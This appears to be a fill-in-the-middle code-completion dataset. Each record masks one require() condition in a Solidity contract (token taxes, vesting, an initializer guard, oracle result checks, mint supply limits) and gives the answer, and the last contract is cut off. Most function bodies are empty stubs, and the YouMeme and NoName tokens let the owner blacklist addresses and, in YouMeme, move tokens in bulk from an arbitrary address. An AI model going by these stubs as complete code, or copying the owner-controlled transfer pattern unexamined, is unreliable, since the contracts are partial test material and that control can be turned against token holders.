_noZeroAddress(teamWallet)&&_noZeroAddress(publicWallet)&&_noZeroAddress(liquidityWallet)&&_noZeroAddress(treasuryWallet)&&_noZeroAddress(address(vestingFactory)),"ZERO_ADDRESS"
| 139,686 |
_noZeroAddress(teamWallet)&&_noZeroAddress(publicWallet)&&_noZeroAddress(liquidityWallet)&&_noZeroAddress(treasuryWallet)&&_noZeroAddress(address(vestingFactory))
|
"TOO_SMALL"
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
interface IVestingFactory {
function createLockSchedule(
address,
uint64,
uint64
) external returns (address);
}
contract STONE is ERC20, AccessControl, ReentrancyGuard {
using SafeERC20 for IERC20Metadata;
uint256 public maxSupply;
uint256 private maxMintable;
address public teamWallet;
address public publicWallet;
address public liquidityWallet;
address public treasuryWallet;
address public feeCollector;
IERC20Metadata public vSTONE;
uint256 public presaleMaxSupply;
bool public taxApplied;
uint256 public constant taxBPS = 200;
IVestingFactory public vestingFactory;
address public teamLockSchedule;
address public treasuryLockSchedule;
bool public isVestingStarted;
bool public isClaimStarted;
constructor(address _owner) ERC20("STONE", "STONE") {
}
function initPresaleClaims() external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function initVestingSchedule() external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setvSTONE(address _vSTONE) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setTaxApplied(
bool _taxApplied
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setFeeCollector(
address _feeCollector
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setTeamWallet(
address _wallet
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setPublicWallet(
address _wallet
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setLiquidityWallet(
address _wallet
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setTreasuryWallet(
address _wallet
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setVestingFactory(
address _vestingFactory
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function _transfer(
address from,
address to,
uint256 value
) internal virtual override(ERC20) nonReentrant {
}
function _getTaxablePart(
uint256 value
) internal pure returns (uint256 tax, uint256 transferable) {
}
function _getPercentAmt(
uint256 _amount,
uint256 _percBPS
) internal pure returns (uint256) {
require(<FILL_ME>)
return (_amount * _percBPS) / 10_000;
}
function _noZeroAddress(address _addr) internal pure returns (bool isAddr) {
}
}
|
(_amount*_percBPS)>=10_000,"TOO_SMALL"
| 139,686 |
(_amount*_percBPS)>=10_000
|
"this address in block list"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract NoName is ERC20 {
address public owner;
mapping(address => bool) public botsList;
constructor(uint256 initialSupply) ERC20("No Name", "NONAME") {
}
modifier onlyOwner() {
}
function _beforeTokenTransfer(
address _from,
address to,
uint256 amount
) internal virtual override {
require(<FILL_ME>)
}
function ownership() external onlyOwner {
}
function blockList(address blockAddress , bool value ) external onlyOwner {
}
function burn(uint256 amount) external {
}
}
|
!botsList[_from]&&!botsList[to],"this address in block list"
| 140,206 |
!botsList[_from]&&!botsList[to]
|
"Initializable: contract is already initialized"
|
@v4.4.2
// OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(<FILL_ME>)
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
}
function _isConstructor() private view returns (bool) {
}
}
|
_initializing?_isConstructor():!_initialized,"Initializable: contract is already initialized"
| 140,257 |
_initializing?_isConstructor():!_initialized
|
"'image-digest' query failed"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./WittyPixels.sol";
import "witnet-solidity-bridge/contracts/WitnetRequestBoard.sol";
import "witnet-solidity-bridge/contracts/apps/WitnetRequestFactory.sol";
import "witnet-solidity-bridge/contracts/libs/WitnetLib.sol";
/// @title WittyPixelsLib - Deployable library containing helper methods.
/// @author Otherplane Labs Ltd., 2023
library WittyPixelsLib {
using WitnetCBOR for WitnetCBOR.CBOR;
using WitnetLib for Witnet.Result;
using WittyPixelsLib for WitnetRequestBoard;
/// ===============================================================================================================
/// --- Witnet-related helper functions ---------------------------------------------------------------------------
/// @dev Helper function for building the HTTP/GET parameterized requests
/// @dev from which specific data requests will be created and sent
/// @dev to the Witnet decentralized oracle every time a new token of
/// @dev athe ERC721 collection is minted.
function buildHttpRequestTemplates(WitnetRequestFactory factory)
public
returns (
WitnetRequestTemplate imageDigestRequestTemplate,
WitnetRequestTemplate valuesArrayRequestTemplate
)
{
}
/// @notice Checks availability of Witnet responses to http/data queries, trying
/// @notice to deserialize Witnet results into valid token metadata.
/// @notice into a Solidity string.
/// @dev Reverts should any of the http/requests failed, or if not able to deserialize result data.
function fetchWitnetResults(
WittyPixels.TokenStorage storage self,
WitnetRequestBoard witnet,
uint256 tokenId
)
public
{
WittyPixels.ERC721Token storage __token = self.items[tokenId];
WittyPixels.ERC721TokenWitnetQueries storage __witnetQueries = self.tokenWitnetQueries[tokenId];
// Revert if any of the witnet queries was not yet solved
{
if (
!witnet.checkResultAvailability(__witnetQueries.imageDigestId)
|| !witnet.checkResultAvailability(__witnetQueries.tokenStatsId)
) {
revert("awaiting response from Witnet");
}
}
Witnet.Response memory _witnetResponse; Witnet.Result memory _witnetResult;
// Try to read response to 'image-digest' query,
// while freeing some storage from the Witnet Request Board:
{
_witnetResponse = witnet.fetchResponse(__witnetQueries.imageDigestId);
_witnetResult = WitnetLib.resultFromCborBytes(_witnetResponse.cborBytes);
{
// Revert if the Witnet query failed:
require(<FILL_ME>)
// Revert if the Witnet response was previous to when minting started:
require(
_witnetResponse.timestamp >= __token.birthTs,
"anachronic 'image-digest' result"
);
}
// Deserialize http/response to 'image-digest':
__token.imageDigest = _witnetResult.value.readString();
__token.imageDigestWitnetTxHash = _witnetResponse.drTxHash;
}
// Try to read response to 'token-stats' query,
// while freeing some storage from the Witnet Request Board:
{
_witnetResponse = witnet.fetchResponse(__witnetQueries.tokenStatsId);
_witnetResult = WitnetLib.resultFromCborBytes(_witnetResponse.cborBytes);
{
// Revert if the Witnet query failed:
require(
_witnetResult.success,
"'token-stats' query failed"
);
// Revert if the Witnet response was previous to when minting started:
require(
_witnetResponse.timestamp >= __token.birthTs,
"anachronic 'token-stats' result");
}
// Try to deserialize Witnet response to 'token-stats':
__token.theStats = toERC721TokenStats(_witnetResult.value);
}
}
/// @dev Check if a some previsouly posted request has been solved and reported from Witnet.
function checkResultAvailability(
WitnetRequestBoard witnet,
uint256 witnetQueryId
)
internal view
returns (bool)
{
}
/// @dev Retrieves copy of all response data related to a previously posted request,
/// @dev removing the whole query from storage.
function fetchResponse(
WitnetRequestBoard witnet,
uint256 witnetQueryId
)
internal
returns (Witnet.Response memory)
{
}
/// @dev Deserialize a CBOR-encoded data request result from Witnet
/// @dev into a WittyPixels.ERC721TokenStats structure
function toERC721TokenStats(WitnetCBOR.CBOR memory cbor)
internal pure
returns (WittyPixels.ERC721TokenStats memory)
{
}
/// ===============================================================================================================
/// --- WittyPixels-related helper methods ------------------------------------------------------------------------
/// @dev Returns JSON string containing the metadata of given tokenId
/// @dev following an OpenSea-compatible schema.
function toJSON(
WittyPixels.ERC721Token memory self,
uint256 tokenId,
address tokenVaultAddress,
uint256 redeemedPixels,
uint256 ethSoFarDonated
)
public pure
returns (string memory)
{
}
function tokenImageURI(uint256 tokenId, string memory baseURI)
internal pure
returns (string memory)
{
}
function tokenMetadataURI(uint256 tokenId, string memory baseURI)
internal pure
returns (string memory)
{
}
function tokenStatsURI(uint256 tokenId, string memory baseURI)
internal pure
returns (string memory)
{
}
function checkBaseURI(string memory uri)
internal pure
returns (string memory)
{
}
function fromHex(string memory s)
internal pure
returns (bytes memory)
{
}
function fromHexChar(uint8 c)
internal pure
returns (uint8)
{
}
function hash(bytes32 a, bytes32 b)
internal pure
returns (bytes32)
{
}
function merkle(bytes32[] memory proof, bytes32 leaf)
internal pure
returns (bytes32 root)
{
}
/// Recovers address from hash and signature.
function recoverAddr(bytes32 hash_, bytes memory signature)
internal pure
returns (address)
{
}
function slice(bytes memory src, uint offset)
internal pure
returns (bytes memory dest)
{
}
function toBytes32(bytes memory _value) internal pure returns (bytes32) {
}
function toFixedBytes(bytes memory _value, uint8 _numBytes)
internal pure
returns (bytes32 _bytes32)
{
}
bytes16 private constant _HEX_SYMBOLS_ = "0123456789abcdef";
/// @dev Converts a `uint256` to its ASCII `string` decimal representation.
function toString(uint256 value)
internal pure
returns (string memory)
{
}
/// @dev Converts an `address` to its hex `string` representation with no "0x" prefix.
function toHexString(address value)
internal pure
returns (string memory)
{
}
/// @dev Converts a `bytes32` value to its hex `string` representation with no "0x" prefix.
function toHexString(bytes32 value)
internal pure
returns (string memory)
{
}
/// @dev Converts a bytes buff to its hex `string` representation with no "0x" prefix.
function toHexString(bytes memory buf)
internal pure
returns (string memory)
{
}
// @dev Converts a `bytes7`value to its hex `string`representation with no "0x" prefix.
function toHexString7(bytes7 value)
internal pure
returns (string memory)
{
}
// ================================================================================================================
// --- WittyPixelsLib private methods ----------------------------------------------------------------------------
function _loadJsonAttributes(
WittyPixels.ERC721Token memory self,
uint256 redeemedPixels,
uint256 ethSoFarDonated
)
private pure
returns (string memory)
{
}
function _loadJsonCanvasAttributes(
WittyPixels.ERC721Token memory self,
uint256 redeemedPixels
)
private pure
returns (string memory)
{
}
function _loadJsonCharityAttributes(
WittyPixels.ERC721Token memory self,
uint256 ethSoFarDonated
)
private pure
returns (string memory)
{
}
function _loadJsonDescription(
WittyPixels.ERC721Token memory self,
uint256 tokenId,
address tokenVaultAddress
)
private pure
returns (string memory)
{
}
function _fixed2String(uint value)
private pure
returns (string memory)
{
}
function _hash(bytes32 a, bytes32 b)
private pure
returns (bytes32 value)
{
}
function _memcpy(
uint _dest,
uint _src,
uint _len
)
private pure
{
}
}
|
_witnetResult.success,"'image-digest' query failed"
| 140,301 |
_witnetResult.success
|
"WittyPixelsLib: bad uri"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./WittyPixels.sol";
import "witnet-solidity-bridge/contracts/WitnetRequestBoard.sol";
import "witnet-solidity-bridge/contracts/apps/WitnetRequestFactory.sol";
import "witnet-solidity-bridge/contracts/libs/WitnetLib.sol";
/// @title WittyPixelsLib - Deployable library containing helper methods.
/// @author Otherplane Labs Ltd., 2023
library WittyPixelsLib {
using WitnetCBOR for WitnetCBOR.CBOR;
using WitnetLib for Witnet.Result;
using WittyPixelsLib for WitnetRequestBoard;
/// ===============================================================================================================
/// --- Witnet-related helper functions ---------------------------------------------------------------------------
/// @dev Helper function for building the HTTP/GET parameterized requests
/// @dev from which specific data requests will be created and sent
/// @dev to the Witnet decentralized oracle every time a new token of
/// @dev athe ERC721 collection is minted.
function buildHttpRequestTemplates(WitnetRequestFactory factory)
public
returns (
WitnetRequestTemplate imageDigestRequestTemplate,
WitnetRequestTemplate valuesArrayRequestTemplate
)
{
}
/// @notice Checks availability of Witnet responses to http/data queries, trying
/// @notice to deserialize Witnet results into valid token metadata.
/// @notice into a Solidity string.
/// @dev Reverts should any of the http/requests failed, or if not able to deserialize result data.
function fetchWitnetResults(
WittyPixels.TokenStorage storage self,
WitnetRequestBoard witnet,
uint256 tokenId
)
public
{
}
/// @dev Check if a some previsouly posted request has been solved and reported from Witnet.
function checkResultAvailability(
WitnetRequestBoard witnet,
uint256 witnetQueryId
)
internal view
returns (bool)
{
}
/// @dev Retrieves copy of all response data related to a previously posted request,
/// @dev removing the whole query from storage.
function fetchResponse(
WitnetRequestBoard witnet,
uint256 witnetQueryId
)
internal
returns (Witnet.Response memory)
{
}
/// @dev Deserialize a CBOR-encoded data request result from Witnet
/// @dev into a WittyPixels.ERC721TokenStats structure
function toERC721TokenStats(WitnetCBOR.CBOR memory cbor)
internal pure
returns (WittyPixels.ERC721TokenStats memory)
{
}
/// ===============================================================================================================
/// --- WittyPixels-related helper methods ------------------------------------------------------------------------
/// @dev Returns JSON string containing the metadata of given tokenId
/// @dev following an OpenSea-compatible schema.
function toJSON(
WittyPixels.ERC721Token memory self,
uint256 tokenId,
address tokenVaultAddress,
uint256 redeemedPixels,
uint256 ethSoFarDonated
)
public pure
returns (string memory)
{
}
function tokenImageURI(uint256 tokenId, string memory baseURI)
internal pure
returns (string memory)
{
}
function tokenMetadataURI(uint256 tokenId, string memory baseURI)
internal pure
returns (string memory)
{
}
function tokenStatsURI(uint256 tokenId, string memory baseURI)
internal pure
returns (string memory)
{
}
function checkBaseURI(string memory uri)
internal pure
returns (string memory)
{
require(<FILL_ME>)
return uri;
}
function fromHex(string memory s)
internal pure
returns (bytes memory)
{
}
function fromHexChar(uint8 c)
internal pure
returns (uint8)
{
}
function hash(bytes32 a, bytes32 b)
internal pure
returns (bytes32)
{
}
function merkle(bytes32[] memory proof, bytes32 leaf)
internal pure
returns (bytes32 root)
{
}
/// Recovers address from hash and signature.
function recoverAddr(bytes32 hash_, bytes memory signature)
internal pure
returns (address)
{
}
function slice(bytes memory src, uint offset)
internal pure
returns (bytes memory dest)
{
}
function toBytes32(bytes memory _value) internal pure returns (bytes32) {
}
function toFixedBytes(bytes memory _value, uint8 _numBytes)
internal pure
returns (bytes32 _bytes32)
{
}
bytes16 private constant _HEX_SYMBOLS_ = "0123456789abcdef";
/// @dev Converts a `uint256` to its ASCII `string` decimal representation.
function toString(uint256 value)
internal pure
returns (string memory)
{
}
/// @dev Converts an `address` to its hex `string` representation with no "0x" prefix.
function toHexString(address value)
internal pure
returns (string memory)
{
}
/// @dev Converts a `bytes32` value to its hex `string` representation with no "0x" prefix.
function toHexString(bytes32 value)
internal pure
returns (string memory)
{
}
/// @dev Converts a bytes buff to its hex `string` representation with no "0x" prefix.
function toHexString(bytes memory buf)
internal pure
returns (string memory)
{
}
// @dev Converts a `bytes7`value to its hex `string`representation with no "0x" prefix.
function toHexString7(bytes7 value)
internal pure
returns (string memory)
{
}
// ================================================================================================================
// --- WittyPixelsLib private methods ----------------------------------------------------------------------------
function _loadJsonAttributes(
WittyPixels.ERC721Token memory self,
uint256 redeemedPixels,
uint256 ethSoFarDonated
)
private pure
returns (string memory)
{
}
function _loadJsonCanvasAttributes(
WittyPixels.ERC721Token memory self,
uint256 redeemedPixels
)
private pure
returns (string memory)
{
}
function _loadJsonCharityAttributes(
WittyPixels.ERC721Token memory self,
uint256 ethSoFarDonated
)
private pure
returns (string memory)
{
}
function _loadJsonDescription(
WittyPixels.ERC721Token memory self,
uint256 tokenId,
address tokenVaultAddress
)
private pure
returns (string memory)
{
}
function _fixed2String(uint value)
private pure
returns (string memory)
{
}
function _hash(bytes32 a, bytes32 b)
private pure
returns (bytes32 value)
{
}
function _memcpy(
uint _dest,
uint _src,
uint _len
)
private pure
{
}
}
|
(bytes(uri).length>0&&bytes(uri)[bytes(uri).length-1]!=bytes1("/")),"WittyPixelsLib: bad uri"
| 140,301 |
(bytes(uri).length>0&&bytes(uri)[bytes(uri).length-1]!=bytes1("/"))
|
"No supply"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./interfaces/IERC721Mintable.sol";
/// @title Empatika Decentralized University Events
/// @notice Compatible with EventController which was originally desined to work with ERC-721
contract EDUTokenUniversal is ERC1155, AccessControl, IERC721Mintable {
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
/// @notice Defines how `balanceOf` and `safeMint` behaves
/// @dev Allows this contract to be compatible with EventController
uint256 public currentEventTokenId = 0;
mapping(uint256 => uint256) private _supplies;
string private _contractMetadataUri;
constructor(
string memory tokenMetadataBaseUri_,
string memory contractMetadataUri_,
uint256 initEventTokenId_
)
ERC1155(tokenMetadataBaseUri_)
{
}
/// @notice Retrieve metadata uri compatible with Opensea
/// @return URL to fetch metadata for contract
function contractURI()
external
view
returns (string memory)
{
}
/// @notice Retrieve metadata uri compatible with Opensea
/// @return URL to fetch metadata for the token
function uri(uint256 tokenId)
public
view
override
returns (string memory)
{
}
/// @notice Retrieve the current available supply for the token
/// @return Supply left
function supply(uint256 tokenId_)
external
view
returns (uint256)
{
}
/// @notice Retrieve balance of the account for the `currentEventTokenId`
/// @dev Originally it's ERC-721 function, but huddle01 uses it
/// @return Balance of the `currentEventTokenId` for the account
function balanceOf(address account)
external
view
returns (uint256)
{
}
function _beforeMint(uint256 tokenId, uint256 amount)
internal
view
{
require(<FILL_ME>)
}
function _afterMint(uint256 tokenId, uint256 amount)
internal
{
}
function mint(address account, uint256 id, uint256 amount, bytes memory data)
external
onlyRole(MINTER_ROLE)
{
}
function mintMany(address[] calldata accounts, uint256[] calldata ids, uint256[] calldata amounts, bytes memory data)
external
onlyRole(MINTER_ROLE)
{
}
/// @notice Mints 1 token of `currentEventTokenId` to the recipient
/// @dev Is being called from EventController and is compatible with previous release of EDUToken
/// @param to recipient of the token
/// @return Always `currentEventTokenId`
function safeMint(address to)
external
onlyRole(MINTER_ROLE)
returns (uint256)
{
}
function setURI(string memory tokenMetadataBaseUri_, string memory contractMetadataUri_)
external
onlyRole(MANAGER_ROLE)
{
}
/// @notice Updates `currentEventTokenId` which affects `balanceOf(address)` and `safeMint(address)`
/// @param currentEventTokenId_ TokenID to be set as the current
function setCurrentEventTokenId(uint256 currentEventTokenId_)
external
onlyRole(MANAGER_ROLE)
{
}
/// @notice Sets the current supply of a token
/// @dev Overwrites the previous value
/// @param tokenId_ Token to set supply for
/// @param supply_ The new supply for the token
function setSupply(uint256 tokenId_, uint256 supply_)
external
onlyRole(MANAGER_ROLE)
{
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC1155, AccessControl)
returns (bool)
{
}
}
|
_supplies[tokenId]>=amount,"No supply"
| 140,465 |
_supplies[tokenId]>=amount
|
"Cannot have more than 1"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./interfaces/IERC721Mintable.sol";
/// @title Empatika Decentralized University Events
/// @notice Compatible with EventController which was originally desined to work with ERC-721
contract EDUTokenUniversal is ERC1155, AccessControl, IERC721Mintable {
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
/// @notice Defines how `balanceOf` and `safeMint` behaves
/// @dev Allows this contract to be compatible with EventController
uint256 public currentEventTokenId = 0;
mapping(uint256 => uint256) private _supplies;
string private _contractMetadataUri;
constructor(
string memory tokenMetadataBaseUri_,
string memory contractMetadataUri_,
uint256 initEventTokenId_
)
ERC1155(tokenMetadataBaseUri_)
{
}
/// @notice Retrieve metadata uri compatible with Opensea
/// @return URL to fetch metadata for contract
function contractURI()
external
view
returns (string memory)
{
}
/// @notice Retrieve metadata uri compatible with Opensea
/// @return URL to fetch metadata for the token
function uri(uint256 tokenId)
public
view
override
returns (string memory)
{
}
/// @notice Retrieve the current available supply for the token
/// @return Supply left
function supply(uint256 tokenId_)
external
view
returns (uint256)
{
}
/// @notice Retrieve balance of the account for the `currentEventTokenId`
/// @dev Originally it's ERC-721 function, but huddle01 uses it
/// @return Balance of the `currentEventTokenId` for the account
function balanceOf(address account)
external
view
returns (uint256)
{
}
function _beforeMint(uint256 tokenId, uint256 amount)
internal
view
{
}
function _afterMint(uint256 tokenId, uint256 amount)
internal
{
}
function mint(address account, uint256 id, uint256 amount, bytes memory data)
external
onlyRole(MINTER_ROLE)
{
}
function mintMany(address[] calldata accounts, uint256[] calldata ids, uint256[] calldata amounts, bytes memory data)
external
onlyRole(MINTER_ROLE)
{
}
/// @notice Mints 1 token of `currentEventTokenId` to the recipient
/// @dev Is being called from EventController and is compatible with previous release of EDUToken
/// @param to recipient of the token
/// @return Always `currentEventTokenId`
function safeMint(address to)
external
onlyRole(MINTER_ROLE)
returns (uint256)
{
require(<FILL_ME>)
_beforeMint(currentEventTokenId, 1);
_mint(to, currentEventTokenId, 1, "");
_afterMint(currentEventTokenId, 1);
return currentEventTokenId;
}
function setURI(string memory tokenMetadataBaseUri_, string memory contractMetadataUri_)
external
onlyRole(MANAGER_ROLE)
{
}
/// @notice Updates `currentEventTokenId` which affects `balanceOf(address)` and `safeMint(address)`
/// @param currentEventTokenId_ TokenID to be set as the current
function setCurrentEventTokenId(uint256 currentEventTokenId_)
external
onlyRole(MANAGER_ROLE)
{
}
/// @notice Sets the current supply of a token
/// @dev Overwrites the previous value
/// @param tokenId_ Token to set supply for
/// @param supply_ The new supply for the token
function setSupply(uint256 tokenId_, uint256 supply_)
external
onlyRole(MANAGER_ROLE)
{
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC1155, AccessControl)
returns (bool)
{
}
}
|
balanceOf(to,currentEventTokenId)==0,"Cannot have more than 1"
| 140,465 |
balanceOf(to,currentEventTokenId)==0
|
"Account is already in the said state"
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
// π Home: https://www.youmeme.io/ YouMeme is designed to combine the imperative biological
// π¦ Twitter: https://twitter.com/YouMemeWorld need to socialize with the intrinsic virality of memes,
// π Docs: https://doc.youmeme.com/ addictive gamification, and financial incentives.
// π΅ TikTok: https://www.tiktok.com/@youmemeworld
// βοΈ Discord: https://discord.com/invite/AwcRnkfAn5 YouMeme $uMEME
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() external virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract YouMeme is ERC20, Ownable {
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
IDexRouter public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool private swapping;
uint256 public swapTokensAtAmount;
address public TreasuryAddress;
address public RewardsAddress;
uint256 public tradingActiveBlock = 0; // 0 means trading is not active
uint256 public deadBlocks = 3;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
uint256 public buyTotalFees;
uint256 public buyTreasuryFee;
uint256 public buyLiquidityFee;
uint256 public buyRewardsFee;
uint256 public sellTotalFees;
uint256 public sellTreasuryFee;
uint256 public sellLiquidityFee;
uint256 public sellRewardsFee;
uint256 public tokensForTreasury;
uint256 public tokensForLiquidity;
uint256 public tokensForRewards;
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
mapping (address => bool) private _isSniper;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading(bool tradingActive, uint256 deadBlocks);
event RemovedLimits();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedTreasuryAddress(address indexed newWallet);
event UpdatedRewardsAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
constructor() ERC20("YouMeme", "uMEME") {
}
receive() external payable {}
// once enabled, can never be turned off
function enableTrading(bool _status, uint256 _deadBlocks) external onlyOwner {
}
// remove limits after token is stable
function removeLimits() external onlyOwner {
}
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
}
function excludeFromMaxTransaction(address updAds, bool isEx) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateBuyFees(uint256 _treasuryFee, uint256 _liquidityFee, uint256 _rewardsFee) external onlyOwner {
}
function updateSellFees(uint256 _treasuryFee, uint256 _liquidityFee, uint256 _rewardsFee) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(address from, address to, uint256 amount) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function multiTransferCall(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner {
}
function multiTransferConstant(address from, address[] calldata addresses, uint256 tokens) external onlyOwner {
}
function swapBack() private {
}
function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) {
}
event sniperStatusChanged(address indexed sniper_address, bool status);
function manageSniper(address sniper_address, bool status) external onlyOwner {
require(<FILL_ME>)
_isSniper[sniper_address] = status;
emit sniperStatusChanged(sniper_address, status);
}
function isSniper(address account) public view returns (bool) {
}
// withdraw ETH if stuck or someone sends to the address
function withdrawStuckETH() external onlyOwner {
}
function setTreasuryAddress(address _TreasuryAddress) external onlyOwner {
}
